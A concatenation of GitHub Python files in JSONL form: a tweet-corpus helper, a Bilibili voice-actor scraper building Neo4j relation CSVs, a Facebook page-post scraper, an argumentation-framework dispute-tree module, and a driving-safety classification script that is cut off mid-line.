self.tweets[tweetid].variables:\n if self.tweets[tweetid].variables[variable] == value:\n select = True\n if select:\n subcorpus.tweets[tweetid] = self.tweets[tweetid]\n return subcorpus\n\n def part(self,nr):\n subcorpus = TweetCorpusAnnotated()\n counter = 0\n for tweetid in self.tweets:\n if counter < nr:\n subcorpus.tweets[tweetid] = self.tweets[tweetid]\n counter += 1\n return subcorpus\n \n def createtraintestset(self,trainsetsize=0,testsetsize=0,devtestsetsize=0,trainsetperc=90,testsetperc=10,devtestsetperc=0):\n totnrtweets = len(self.tweets)\n if trainsetperc + testsetperc + devtestsetperc > 100:\n print(\"trainsetperc + testsetperc + devtestsetperc higher than 100\")\n exit(1)\n if not trainsetsize:\n trainsetsize = int(totnrtweets*trainsetperc/100)\n if not testsetsize:\n testsetsize = int(totnrtweets*testsetperc/100)\n if not devtestsetsize:\n devtestsize = int(totnrtweets*devtestsetperc/100)\n if trainsetsize + testsetsize + devtestsize > totnrtweets:\n print(\"trainsetsize + testsetsize + devtestsetsize higher than number of tweets\")\n exit(1) \n tweetids = list(self.tweets.keys())\n random.shuffle(tweetids)\n for tweetid in tweetids:\n if len(self.trainset) < trainsetsize:\n self.trainset.append(tweetid)\n elif len(self.testset) < testsetsize:\n self.testset.append(tweetid)\n else:\n self.devtestset.append(tweetid)\n \n def writetextandlabels(self,annotationlabel='',outputfilename='output',decidingannotatorid='',minimumpercentageperlabel=0):\n textperlabel = {}\n textandlabel = []\n textandlabelselection = []\n notweets = {}\n minnrtweets = 999999999999\n maxnrtweetsperlabel = 9999999999999\n for tweetid in self.tweets:\n text = self.tweets[tweetid].get('text')\n label = annotationlabel+\"_\"+self.tweets[tweetid].getannotationvalue(annotationlabel,decidingannotatorid)\n #print(text,annotationvalue)\n if not label in textperlabel:\n textperlabel[label] = []\n textperlabel[label].append(text)\n textandlabel.append((text,label))\n for label in textperlabel:\n notweets[label] = 0\n print(label,len(textperlabel[label]))\n if len(textperlabel[label]) < minnrtweets:\n minnrtweets = len(textperlabel[label])\n if minimumpercentageperlabel:\n maxnrtweetsperlabel = int(minnrtweets * 100 / minimumpercentageperlabel / len(textperlabel))\n print(maxnrtweetsperlabel)\n \n outputfiletext = open(outputfilename+'.txt',\"w\")\n outputfilelabels = open(outputfilename+'.labels',\"w\")\n #for nr in range(0,maxnrtweetsperlabel):\n #for label in textperlabel:\n #text = textperlabel[label][nr]\n for (text,label) in textandlabel:\n if notweets[label] < maxnrtweetsperlabel:\n textandlabelselection.append((text,label))\n notweets[label] += 1\n random.shuffle(textandlabelselection)\n for (text,label) in textandlabelselection:\n outputfiletext.write(text+\"\\n\")\n outputfilelabels.write(label+\"\\n\")\n","repo_name":"EricSanders/Dissertation","sub_path":"Chapter6/VoxPopuli.py","file_name":"VoxPopuli.py","file_ext":"py","file_size_in_byte":27057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"38264963860","text":"import requests\nimport json\nimport re\nimport pandas as pd\nimport time\nfrom multiprocessing.dummy import Pool as ThreadPool\nimport csv\nimport traceback\n\n\n# 1.多线程运作时,务必不要将写入操作和爬虫请求写在一起,死锁可能造成error,然后全部GG\n#\n# 2.四核电脑(相对于本机而言)线程数最好不要超过32,不然容易死锁效率也无法提升,有的时候根本没必要多线程的时候就别用,先自己测试一下效率再考虑是否用多线程\n#\n# 3.先将爬虫数据保存csv,然后通过csv再建立关系,原因同上\n#\n# 4.ThreadPool务必注意将map的key函数改成传参模式,将写入操作把列表加上全局变量声明,写在key的函数内\n#\n# 5.前端数据注意先测试几组数据再总体爬虫,防止前端内容不一致的错误导致正则出错,比如':'和':'和多余的\"\\\\t\" \"\\n\"等等\n#\n# 6.相对于bilibili而言,要注意爬取的是json中的media_id而不是播放页面的play参数,两者差异巨大容易混淆\n#\n# 7.相对于bilibili而言,反爬虫机制弱到几乎没有(但用一),但还是要注意异常处理和请求超时、请求间隔\n#\n# 8.Http_header可有可无(限bilibili,但长期请求过多频率过快也会被封IP),看心情\n#\n# 9.neo4j的中文默认编码为utf8无bom模式,程序内无法解决编码问题就去文档修改编码\n#\n# 10.python编码出现问题必要时候可以转换成raw_unicode_escape编码再进行encode\n#\n# 11.关系和节点最好不要一起建,因为节点如果属性只有一个的话可能会重复,MD\n\n\n\n#csv总体保存\ndef getVoiceActor(num):\n\n url = \"https://www.bilibili.com/bangumi/media/md\" + str(num).rstrip(\"\\n\")\n html = requests.get(url)\n con = html.content.decode(\"utf8\")\n\n if con.count(\"出错啦\") != 0:\n print('error')\n else:\n pat_actors = '\"actors\":\".+?\"'\n res = re.findall(pat_actors, con)\n actors_in_one_anime = []\n if len(res) != 0 and \",\\\"\" not in res[0]:\n actors = res[0].lstrip(\"\\\"actors\\\":\").split(\"\\\\n\")\n if \":\" in actors[0]:\n actors = [i.split(\":\") for i in actors if \":\" in i ]\n for i in actors:\n actors_in_one_anime.append(i[0])\n actors_in_one_anime.append(i[1])\n\n elif \":\" in actors[0]:\n actors = [i.split(\":\") for i in actors if \":\" in i ]\n for i in actors:\n actors_in_one_anime.append(i[0])\n actors_in_one_anime.append(i[1])\n\n #有些番剧在声优后面会加上\\\\t,去除\n for i in range(0,len(actors_in_one_anime)):\n actors_in_one_anime[i] = actors_in_one_anime[i].rstrip(\"\\\\t\")\n\n\n\n #列表最后一个元素可能会出现xxxx \"、xxxx\"、xxxx..\"、..\" 等多余字符(多余人员消息) 全て殺す!\n actors_in_one_anime[len(actors_in_one_anime) - 1] = actors_in_one_anime[len(actors_in_one_anime)-1].rstrip('\"')\n\n if len(actors_in_one_anime) != 0:\n if \"..\" in actors_in_one_anime[len(actors_in_one_anime)-1]:\n actors_in_one_anime.pop()\n actors_in_one_anime.pop()\n\n #把声优列表加上对应的media_id\n actors_in_one_anime.insert(0,num.rstrip(\"\\n\"))\n\n #去除没有声优的番剧 FAQ\n global num_and_voice_actors\n if len(actors_in_one_anime) != 1:\n num_and_voice_actors.append(actors_in_one_anime)\n\n\n# num = media_id -> anime_index_id\n# actors_in_one_anime[1.3.5...]\n\n#line[0] is media_id , others is voice_actors\n\ndef make_nodes(line):\n global sum_count\n global character_index_count, character_index_id, character_name\n global voice_actor_index_count, voice_actor_index_id, voice_actor_name\n global character_and_voice_start_id, character_and_voice_end_id\n global anime_and_voice_actor_start_id, anime_and_voice_actor_end_id\n global anime_and_character_start_id, anime_and_character_end_id\n\n #character ensure\n\n for i in range(1,len(line),2):\n if line[i] not in character_name:\n character_index_count += 1\n character_index_id.append(character_index_count)\n character_name.append(line[i])\n\n #voice_actor ensure\n for i in range(2,len(line),2):\n if line[i] not in voice_actor_name:\n voice_actor_index_count += 1\n voice_actor_index_id.append(voice_actor_index_count)\n voice_actor_name.append(line[i])\n\ndef get_voice_actor_index_id(name):\n voice_actors = csv.reader(open(\"d://voice_actors.csv\", 'r', encoding=\"utf8\"), dialect=\"excel\")\n voice_actors = [i for i in voice_actors]\n for i in voice_actors:\n if i[1] == name:\n return i[0]\n\ndef get_character_index_id(name):\n characters = csv.reader(open(\"d://characters.csv\", 'r', encoding=\"utf8\"), dialect=\"excel\")\n characters = [i for i in characters]\n for i in characters:\n if i[1] == name:\n return i[0]\n\ndef make_releations(line):\n line = [i.lstrip(\" \").rstrip(\" \") for i in line]\n global sum_count\n global character_index_count,character_index_id,character_name\n global voice_actor_index_count,voice_actor_index_id,voice_actor_name\n global character_and_voice_start_id,character_and_voice_end_id\n global anime_and_voice_actor_start_id,anime_and_voice_actor_end_id\n global anime_and_character_start_id,anime_and_character_end_id\n\n #anime_id ensure\n animes = csv.reader(open(\"d://animes.csv\", 'r', encoding=\"utf8\"), dialect=\"excel\")\n animes= [i for i in animes]\n media_index = \"\"\n for i in animes:\n if str(i[1]).rstrip(\"\\n\") == str(line[0]).rstrip(\"\\n\"):\n media_index = i[0]\n\n # anime_and_actor anime_and_chararter ensure\n if media_index != \"\":\n for i in range(1,len(line)):\n #character\n if i%2 == 1:\n a = get_character_index_id(line[i])\n if a == None:\n return\n anime_and_character_start_id.append(media_index)\n anime_and_character_end_id.append(a)\n character_and_voice_start_id.append(a)\n\n # actor\n else:\n b = get_voice_actor_index_id(line[i])\n if b == None:\n anime_and_character_start_id.pop()\n anime_and_character_end_id.pop()\n character_and_voice_start_id.pop()\n return\n anime_and_voice_actor_start_id.append(media_index)\n anime_and_voice_actor_end_id.append(b)\n character_and_voice_end_id.append(b)\n\n\n sum_count += 1\n print(sum_count)\n\n\nif __name__ == '__main__':\n\n sum_count = 0\n\n f = open(\"d://bangumiNum.txt\", 'r')\n bangumiNum = f.readlines()\n\n character_index_count = 300000\n character_index_id = []\n character_label = []\n character_name = []\n\n voice_actor_index_count = 400000\n voice_actor_index_id = []\n voice_actor_label = []\n voice_actor_name = []\n\n character_and_voice_start_id = []\n character_and_voice_end_id = []\n character_and_voice_releation = []\n\n anime_and_voice_actor_start_id = []\n anime_and_voice_actor_end_id = []\n anime_and_voice_actor_releation = []\n\n anime_and_character_start_id = []\n anime_and_character_end_id = []\n anime_and_character_releation = []\n\n\n ##media_id和actors关系保存至csv\n # num_and_voice_actors = []\n #\n # pool = ThreadPool(64)\n # pool.map(getVoiceActor,bangumiNum)\n # pool.close()\n # pool.join()\n #\n # print(\"Starting writing\")\n # c = csv.writer(open(\"d://media_id_and_voice_actors.csv\",'w',newline = \"\",encoding=\"utf8\"),dialect=\"excel\")\n # for i in num_and_voice_actors:\n # c.writerow(i)\n\n id_and_voice = csv.reader(open(\"d://media_id_and_voice_actors.csv\", 'r', encoding=\"utf8\"), dialect=\"excel\")\n\n id_and_voice = [i for i in id_and_voice]\n\n # pool = ThreadPool(8)\n # pool.map(make_releations,id_and_voice)\n # pool.close()\n # pool.join()\n\n\n for i in id_and_voice:\n # make_nodes(i)\n make_releations(i)\n\n # print(get_character_index_id(\"因幡洋\"))\n # make_releations(id_and_voice[0])\n\n # for i in id_and_voice:\n # if i[0] == \"1436\":\n # make_releations(i)\n\n # print(get_character_index_id(\"\"))\n print(\"-----------------------------------\")\n # print(get_voice_actor_index_id(\"松冈祯丞\"))\n # print(get_character_index_id(\"菲莉尔·克雷斯特\"))\n print(\"starting writing\")\n\n # ##############################################################\n # for i in character_name:\n # character_label.append(\"character\")\n # df = pd.DataFrame({\"index:ID\": character_index_id,\n # \"name\":character_name,\n # \":LABEL\": character_label})\n # df.to_csv(\"d://characters.csv\",index = False)\n #\n #\n #\n # ##############################################################\n # for i in voice_actor_name:\n # voice_actor_label.append(\"voice_actor\")\n # df = pd.DataFrame({\"index:ID\": voice_actor_index_id,\n # \"name\":voice_actor_name,\n # \":LABEL\": voice_actor_label})\n # df.to_csv(\"d://voice_actors.csv\",index = False)\n\n\n ##############################################################\n for i in anime_and_voice_actor_start_id:\n anime_and_voice_actor_releation.append(\"出演声优\")\n anime_and_voice_actor_type = anime_and_voice_actor_releation\n\n for i in anime_and_character_start_id:\n anime_and_character_releation.append(\"拥有角色\")\n anime_and_character_type = anime_and_character_releation\n\n for i in character_and_voice_start_id:\n character_and_voice_releation.append(\"所配角色\")\n character_and_voice_type = character_and_voice_releation\n\n df = pd.DataFrame({\":START_ID\": anime_and_voice_actor_start_id,\n \":END_ID\": anime_and_voice_actor_end_id,\n \"relation\": anime_and_voice_actor_releation,\n \":TYPE\":anime_and_voice_actor_type})\n df.to_csv(\"d://anime_and_voice_actor_releation.csv\", index=False)\n\n df = pd.DataFrame({\":START_ID\": anime_and_character_start_id,\n \":END_ID\": anime_and_character_end_id,\n \"relation\": anime_and_character_releation,\n \":TYPE\": anime_and_character_type})\n df.to_csv(\"d://anime_and_character_releation.csv\", index=False)\n\n df = pd.DataFrame({\":START_ID\": character_and_voice_start_id,\n \":END_ID\": character_and_voice_end_id,\n \"relation\": character_and_voice_releation,\n \":TYPE\": character_and_voice_type})\n df.to_csv(\"d://character_and_voice_releation.csv\", index=False)\n\n\n\n\n\n\n\n\n\n\n","repo_name":"justZZY/QASystemOnAnimeKG","sub_path":"python/anime_spider/make_relation.py","file_name":"make_relation.py","file_ext":"py","file_size_in_byte":10899,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"34281106209","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport requests\nimport time\nimport random\nimport codecs\nimport json\nimport sys\nimport re\nreload(sys) \nsys.setdefaultencoding('utf8')\nclass FacebookAPI():\n\t\"\"\"docstring for FacebookAPI\"\"\"\n\tdef __init__(self):\n\t\tself.env\t\t\t= json.loads(open('env.conf','r').read())\n\t\tself.version \t\t= self.env['version']\n\t\tself.accessToken \t= self.env['facebook_accessToken']\n\t\tself.posts_file = open(self.env['posts_file'],'w+')\n\t\tself.comments_file = open(self.env['comments_file'],'w+')\n\t\tself.posts_file.write(\"page_id,post_id,post_text,comments_count,shares_count,post_time\\n\")\n\t\tself.comments_file.write(\"post_id,commen_id,message,comment_time\\n\")\n\tdef clean(self,text):\n\n\t\ttext \t\t\t\t= re.sub(r',',\" \",text)\n\t\ttext \t\t\t\t= re.sub(r'\\n',\" \",text)\n\t\ttext \t\t\t\t= re.sub(r'\\r',\" \",text)\n\t\ttext \t\t\t\t= re.sub(r'\\'',\" \",text)\n\t\ttext \t\t\t\t= re.sub(r'\\\"',\" \",text)\n\t\treturn text.encode('utf-8')\n\t\t\n\n\tdef get_page_posts(self,page_id):\n\t\turl \t\t\t\t= \"https://graph.facebook.com/\"+str(page_id)+\"/posts?access_token=\"+str(self.accessToken)+\"\"\n\t\tr \t\t\t\t\t= requests.get(url)\n\t\tr \t\t\t\t\t= json.loads(r.text)\n\t\tposts_count\t\t\t= len(r['data'])\n\t\tfor post in r['data']:\n\t\t\ttry:\n\t\t\t\tmessage \t= post['message']\n\t\t\texcept Exception as e:\n\t\t\t\tmessage \t= post['story']\n\t\t\tpost['message'] = message.encode('utf-8')\n\n\t\t\tcomments_count = self.get_post_comments(post['id'])\n\t\t\tshares_count = self.get_post_shares_count(post['id'])\n\t\t\tpost_data \t\t= {\n\t\t\t\t\t 'post_id' : post['id'].split('_')[1] ,\n\t\t\t\t\t 'page_id' : page_id ,\n\t\t\t\t\t 'post_text' : self.clean(post['message']) ,\n\t\t\t\t\t 'comments_count' : str(comments_count) ,\n\t\t\t\t\t 'shares_count' : str(shares_count) ,\n\t\t\t\t\t 'post_time' : str(post['created_time'])\n\t\t\t\t\t \t }\n\t\t\tself.posts_file.write(str(post_data['page_id'])+','+str(post_data['post_id'])+','+str(post_data['post_text'])+','+\\\n\t\t\t\tstr(post_data['comments_count'])+','+str(post_data['shares_count'])+','+str(post_data['post_time'])+'\\n')\n\n\n\tdef get_post_comments(self,post_id):\n\t\turl \t\t\t\t= \"https://graph.facebook.com/v2.12/\"+str(post_id)+\"/comments?access_token=\"+str(self.accessToken)+\"\"\n\t\tr \t\t\t\t\t= requests.get(url)\n\t\tcomments\t\t\t= json.loads(r.text)\n\t\tcomments_count \t\t= len(comments['data'])\n\t\tfor comment in comments['data']:\n\t\t\tmessage = self.clean(comment['message'].encode('utf-8'))\n\t\t\t#print comment\n\t\t\tself.comments_file.write(post_id+','+comment['id']+','+message+','+comment['created_time']+'\\n')\n\t\treturn comments_count\n\n\n\tdef get_post_shares_count(self,post_id):\n\t\turl \t\t\t\t= \"https://graph.facebook.com/v2.12/\"+str(post_id)+\"?fields=shares&access_token=\"+str(self.accessToken)+\"\"\n\t\tr \t\t\t\t\t= requests.get(url)\n\t\tdata \t\t\t= json.loads(r.text)\n\t\ttry:\n\t\t\tshares_count \t= data['shares']['count']\n\t\texcept Exception as e:\n\t\t\tshares_count \t= 0\n\t\treturn shares_count\n\n\n\nif __name__=='__main__':\n\tfb \t\t\t\t\t= FacebookAPI()\n\tpage_id \t\t\t= 151146158251940\n\tfb.get_page_posts(page_id)","repo_name":"SayedAOmar/Facebook-page-grapper","sub_path":"facebook.py","file_name":"facebook.py","file_ext":"py","file_size_in_byte":3042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71872736212","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nfrom random import choice\n\n########################################\n# A support class for build dispute tree\n########################################\nclass ArgumentTreeNode:\n def __init__(self, root=' '):\n self.value = root\n self.child = []\n\n########################################\n# Argument Framework \n########################################\nclass ArgumentFramework:\n\n def __init__(self, edges=[]):\n self.frame = nx.DiGraph()\n # self.frame.clear()\n self.tree=[]\n\n #############################\n # basic utility functions \n #############################\n def add_node(self,node):\n self.frame.add_node(node)\n def add_edges(self,node1,node2):\n self.frame.add_edge(node1,node2)\n def remove_edges(self,edge):\n self.frame.remove_edges_from(edge)\n def get_nodes(self):\n return self.frame.nodes\n def get_edges(self):\n return self.frame.edges()\n def get_tree(self):\n return self.tree \n def reverse_frame(self):\n return self.frame.reverse()\n # dfs on edges(which will find all edges apart from nodes) \n def dfs(self,node):\n rframe = self.reverse_frame()\n path = list(nx.edge_dfs(rframe,node)) \n for edge in path:\n if edge[0] == edge[1]:\n path.remove(edge) \n return path \n\n ############################\n # figure generators\n ############################\n def show_gram(self,showflag=1):\n plt.figure()\n nx.draw(self.frame,pos=nx.spring_layout(self.frame,seed=500),\n node_color='black',node_size=1600,\n with_labels=True,font_color='w',font_size=30,\n arrowsize=25,arrowstyle='->',edge_color='black',width=2)\n if showflag == 1:\n plt.show()\n else:\n plt.savefig('framework.png')\n plt.close()\n \n ############################\n # functional utility functions\n ############################ \n # build argument tree for every node\n def build_argument_tree_without_duplicate(self,root):\n # path is like [('e','b'),('e','d')]\n path = self.dfs(root)\n nodes = list(self.get_nodes())\n self.build_argument_tree(root,path,nodes)\n # self.tree is a instance of ArgumentTreeNode\n return self.tree\n def build_argument_tree(self,root,path,nodes): \n if root in nodes:\n nodes.remove(root)\n node = ArgumentTreeNode()\n node.value = root\n for edge in path:\n if edge[0] == root:\n node.child.append(edge[1])\n self.tree.append(node) \n for child in node.child:\n self.build_argument_tree(child,path,nodes) \n return \n def get_childen_by_node(self,tree):\n children_dict = {}\n for node in tree:\n children_dict[node.value] = node.child\n # children_dict is like {'e':['a','f']}\n return children_dict\n\n def random_dispute_tree(self,node,semantics='grounded'):\n path = self.dfs(node)\n tree = self.get_tree()\n # children_dict is like {'e':['a','f']}\n children_dict = self.get_childen_by_node(tree)\n strategy = [node]\n self.random_add_node(node,children_dict,strategy,semantics)\n strategy = self.remove_dupilicate(strategy,semantics)\n return strategy\n def random_add_node(self,node,children_dict,strategy,semantics):\n if not children_dict[node]:\n return\n while True:\n child = choice(children_dict[node])\n if semantics == 'preferred':\n if (len(strategy)%2) and (child in strategy[1::2]):\n if all(c in strategy[1::2] for c in children_dict[node]):\n return\n else:\n continue \n else:\n strategy.append(child)\n self.random_add_node(child,children_dict,strategy,semantics)\n return \n elif semantics == 'grounded':\n # odd and P is going to repeat\n if (not len(strategy)%2) and (child in strategy[::2]): \n if all(c in strategy[::2] for c in children_dict[node]):\n return\n else:\n continue \n else:\n strategy.append(child) \n self.random_add_node(child,children_dict,strategy,semantics)\n return \n\n def build_dispute_tree(self, node, trial, semantics='grounded'):\n dispute_tree = []\n for i in range(trial):\n s = self.random_dispute_tree(node,semantics) \n if s not in dispute_tree:\n dispute_tree.append(s) \n return dispute_tree\n def remove_dupilicate(self, strategy, semantics):\n if semantics == 'grounded':\n dupmoves = strategy[1::2]\n elif semantics == 'preferred':\n dupmoves = strategy[::2] \n for node in dupmoves:\n if strategy.count(node) >= 2:\n index_list = [x for x in range(len(strategy)) if strategy[x] == node]\n strategy = strategy[0:index_list[1]+1]\n return strategy \n\n####### Using Example #######\n# if __name__ == '__main__':\n# # add nodes like click button\n# af = ArgumentFramework()\n# af.add_node('a')\n# af.add_node('b')\n# af.add_node('c')\n# af.add_node('d')\n# af.add_node('e')\n# af.add_node('f')\n# af.add_edges('a','b')\n# #af.add_edges('b','c')\n# af.add_edges('c','b')\n# af.add_edges('c','d')\n# af.add_edges('b','d')\n# af.add_edges('d','e')\n# af.add_edges('e','f')\n# af.add_edges('f','e')\n\n# # build argument tree\n# tree = af.build_argument_tree_without_duplicate('e')\n\n# dispute_tree = af.build_dispute_tree('e',semantics='grounded',trial=50)\n# print(dispute_tree)\n# print('The number of strategy: %d'%len(dispute_tree))\n# af.show_gram(showflag=0)\n ","repo_name":"freshn/Argument-Games-Simulation-System","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17668013152","text":"import pandas as pd\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport warnings \nimport pickle\nfrom sklearn.externals import joblib\nfrom sklearn.neighbors import KNeighborsClassifier\nwarnings.filterwarnings('ignore')\n\nprint(tf.__version__)\n\ncurr_dir = os.getcwd()\nprint(curr_dir)\n\ntrain_data = pd.read_hdf('train_data.h5', 'grabai')\ntrain_data.Speed = train_data.Speed.replace(-1,np.NaN)\ntest_data = pd.read_hdf('val_data.h5', 'grabai')\ntest_data.Speed = test_data.Speed.replace(-1,np.NaN)\n\n# Simple fillna would do as only 1.5% of data is missing\ntrain_data.Speed.fillna(train_data.Speed.median(), inplace=True)\ntest_data.Speed.fillna(test_data.Speed.median(), inplace=True)\n\n# ### Notes\n# <div style=\"width: 400px; float: right;\">![image.png](attachment:image.png)</div>\n# #### Acceleration\n# * Acceleration X shows acceleration on the left or right (if value more than 0, it is a left turn)\n# * Accelleration Y is shows acceleration on the up down axis (due to gravity, default will be -9.81, therefore if value more than -9.81, then the vehicle/phone is down)\n# * Axeleration Z is the forward and backward acceleration (if less than 0, it is foreward acceleration. This will be the case most of the time)\n# \n# #### Gyro\n# * Gyro X rotation along the X axis (pitch). Positive value refers to a left tilt on the X axis.\n# * Gyro Y rotation along the Y axis (roll). Positive value refers to a left tilt on the Y axis.\n# * Gyro Z rotation along the Z axis (yaw). Positive value refers to a left tilt on the Z axis.\n# \n# #### Interpretation\n# * A left/right turn will have change in acceleration along the X axis, while changing the Roll(gyro Y axis). The larger the gyro Y value the sharper the turn.\n# * A up/down movement will have change in acceleration along the Y axis, while changing the Pitch(gyro X axis). The larger the gyro X value the steeper the slope.\n# * When there is a combination of left/right and up/down or the road is tilted, the Yaw(gyro Z axis) will change. The value represents shows if it is a right(positive) or left(negative) tilt.\n\ndef add_features(df):\n # this function adds the direction, smoothness and intensity for each data point\n # Direction\n df['up'] = df.acceleration_y.apply(lambda y: 1 if np.round(y,2)+9.81 < 0 else 0)\n df['down'] = df.acceleration_y.apply(lambda y: 1 if np.round(y,2)+9.81 > 0 else 0)\n \n df['right'] = df.acceleration_x.apply(lambda x: 1 if np.round(x,2) < 0 else 0)\n df['left'] = df.acceleration_x.apply(lambda x: 1 if np.round(x,2) > 0 else 0)\n \n # Though the else value for smoothness and intensity is not technically correct, \n # it should help to create some noise that will improve generalization\n # Smoothness\n df['rl_smooth'] = np.where((df.Speed!=0) & (df.gyro_y!=0),\n df.Speed/np.abs(df.gyro_y),\n df.Speed + np.abs(df.gyro_y)) # right left smoothness\n \n df['ud_smooth'] = np.where((df.Speed!=0) & (df.gyro_x!=0),\n df.Speed/np.abs(df.gyro_x),\n df.Speed + np.abs(df.gyro_x)) # up down smoothness\n \n df['smoothness'] = np.sqrt(np.square(df.rl_smooth) + np.square(df.ud_smooth))\n \n # Intensity\n df['rl_intensity'] = np.where(df.acceleration_x != 0, \n df.rl_smooth * np.abs(df.acceleration_x), \n df.rl_smooth)\n df['ud_intensity'] = np.where(df.acceleration_x != 0, \n df.ud_smooth * np.abs(df.acceleration_y), \n df.ud_smooth)\n df['intensity'] = np.sqrt(np.square(df.rl_intensity) + np.square(df.ud_intensity))\n \n df_col = list(df)\n df_col.remove('label')\n df_col.append('label')\n \n return df[df_col]\n\nif os.path.isfile('train_data_features.h5'):\n train_data = pd.read_hdf('train_data_features.h5', 'grabai')\n test_data = pd.read_hdf('val_data_features.h5', 'grabai')\nelse:\n train_data = add_features(train_data)\n test_data = add_features(test_data)\n \n train_data.to_hdf('train_data_features.h5', 'grabai')\n test_data.to_hdf('val_data_features.h5', 'grabai')\n\n\nfrom sklearn.preprocessing import Normalizer\n\nif os.path.isfile('train_data_features.h5'):\n train_data = pd.read_hdf('train_data_norm.h5', 'grabai')\n test_data = pd.read_hdf('val_data_norm.h5', 'grabai')\nelse:\n cols = list(train_data)\n cols.remove('label')\n cols.remove('bookingID')\n\n scaler = Normalizer()\n scaler = scaler.fit(train_data[cols])\n train_data[cols] = scaler.transform(train_data[cols])\n test_data[cols] = scaler.transform(test_data[cols])\n \n train_data.to_hdf('train_data_norm.h5', 'grabai')\n test_data.to_hdf('val_data_norm.h5', 'grabai')\n\ndef grouped_data(df):\n extra_features = []\n all_cols = list(df)\n cols = all_cols\n cols.remove('bookingID')\n cols.remove('label')\n \n grouped = df.groupby('bookingID')\n lst_functions = ['mean', 'median', 'min', 'max', 'std', 'skew', 'count', 'sum']\n for func in lst_functions:\n if func == 'mean':\n temp = grouped.mean()\n temp.columns = list(map(lambda x: x + '_mean', list(temp)))\n extra_features.append(temp)\n \n if func == 'median':\n temp = grouped.median()\n temp = temp[cols]\n temp.columns = list(map(lambda x: x + '_median', list(temp)))\n extra_features.append(temp)\n \n if func == 'std':\n temp = grouped.std()\n temp = temp[cols]\n temp.columns = list(map(lambda x: x + '_std', list(temp)))\n extra_features.append(temp)\n \n if func == 'skew':\n temp = grouped.skew()\n temp = temp[cols]\n temp.columns = list(map(lambda x: x + '_skew', list(temp)))\n extra_features.append(temp)\n \n if func == 'count':\n temp = grouped.count()\n temp = temp[cols]\n temp.columns = list(map(lambda x: x + '_count', list(temp)))\n extra_features.append(temp)\n \n if func == 'sum':\n temp = grouped.sum()\n temp = temp[cols]\n temp.columns = list(map(lambda x: x + '_sum', list(temp)))\n extra_features.append(temp)\n \n if func == 'min':\n temp = grouped.min()\n temp = temp[cols]\n temp.columns = list(map(lambda x: x + '_min', list(temp)))\n extra_features.append(temp)\n \n if func == 'max':\n temp = grouped.max()\n temp = temp[cols]\n temp.columns = list(map(lambda x: x + '_max', list(temp)))\n extra_features.append(temp)\n \n merged_data = pd.concat(extra_features, axis=1)\n \n df_col = list(merged_data)\n df_col.remove('label_mean')\n df_col.append('label_mean')\n \n return merged_data[df_col]\n\n\nif os.path.isfile('train_data_grouped.h5'):\n train_data = pd.read_hdf('train_data_grouped.h5', 'grabai')\n test_data = pd.read_hdf('val_data_grouped.h5', 'grabai')\nelse:\n train_data = grouped_data(train_data)\n test_data = grouped_data(test_data)\n train_data.to_hdf('train_data_grouped.h5', 'grabai')\n test_data.to_hdf('val_data_grouped.h5', 'grabai')\n\n# #### Note\n# * It appears that there are bookingID where label is both one and zero (safe and unsafe)\n# * Since these observations are a small portion of the whole data set they will be removed\n\n\ntrain_data = train_data[train_data.label_mean != 0.5]\ntest_data = test_data[test_data.label_mean != 0.5]\n\n\nif os.path.isfile('train_data_final.h5'):\n train_data = pd.read_hdf('train_data_final.h5', 'grabai')\n test_data = pd.read_hdf('val_data_final.h5', 'grabai')\nelse:\n cols = list(train_data)\n cols.remove('label_mean')\n\n scaler2 = Normalizer()\n scaler2 = scaler2.fit(train_data[cols])\n train_data[cols] = scaler2.transform(train_data[cols])\n test_data[cols] = scaler2.transform(test_data[cols])\n \n train_data = train_data.reset_index()\n test_data = test_data.reset_index()\n\n train_data.to_hdf('train_data_final.h5', 'grabai')\n test_data.to_hdf('val_data_final.h5', 'grabai')\n\nall_data = pd.read_hdf('data_final.h5', 'grabai')\n\nfrom sklearn.decomposition import PCA\n\nX_train = train_data.iloc[:, 1:-1]\ny_train = train_data.iloc[:, -1]\n\nX = all_data.iloc[:, 1:-1]\ny = all_data.iloc[:, -1]\n\nX_test = test_data.iloc[:, 1:-1]\ny_test = test_data.iloc[:, -1]\n\npca = PCA(n_components=train_data.shape[1]-2)\npca.fit(X_train)\n\npca = joblib.load('pca_fit.sav')\n\nX_train = pca.transform(X_train)\nX_test = pca.transform(X_test)\n\ny_train = np.array(y_train)[:, np.newaxis]\ny_test = np.array(y_test)[:, np.newaxis]\n\nX = pca.transform(X)\ny = np.array(y)[:, np.newaxis]\n\nfrom sklearn.model_selection import train_test_split, KFold, GridSearchCV\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom sklearn.linear_model import LogisticRegression\n\n\n# Since 10000 gave the best f1 score, set C=10000\nlr = LogisticRegression(C=10000)\nlr.fit(X_train, y_train)\ny_hat_lr = lr.predict(X_test)\nprint(\"LogisticRegression\")\nprint(classification_report(y_test, y_hat_lr))\nprint(confusion_matrix(y_test, y_hat_lr))\n\n# ### Decision Tree\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\nclassifier = DecisionTreeClassifier(max_depth=8, criterion='entropy', min_samples_leaf=100)\nclassifier.fit(X_train, y_train)\ny_hat_tree = classifier.predict(X_test)\nprint(\"DecisionTreeClassifier\")\nprint(classification_report(y_test, y_hat_tree))\nprint(confusion_matrix(y_test, y_hat_tree))\n\n\n\nclassifier = RandomForestClassifier(criterion='entropy', n_estimators=10)\nclassifier.fit(X_train, y_train)\ny_hat_rf = classifier.predict(X_test)\nprint(\"RandomForestClassifier\")\nprint(classification_report(y_test, y_hat_rf))\nprint(confusion_matrix(y_test, y_hat_rf))\n\nfrom sklearn.svm import SVC\n\nclassifier = SVC()\nclassifier.fit(X_train, y_train)\ny_hat_svm = classifier.predict(X_test)\nprint(\"SVC\")\nprint(classification_report(y_test, y_hat_svm))\nprint(confusion_matrix(y_test, y_hat_svm))\n\nfrom sklearn.ensemble import GradientBoostingClassifier\n\nclassifier = 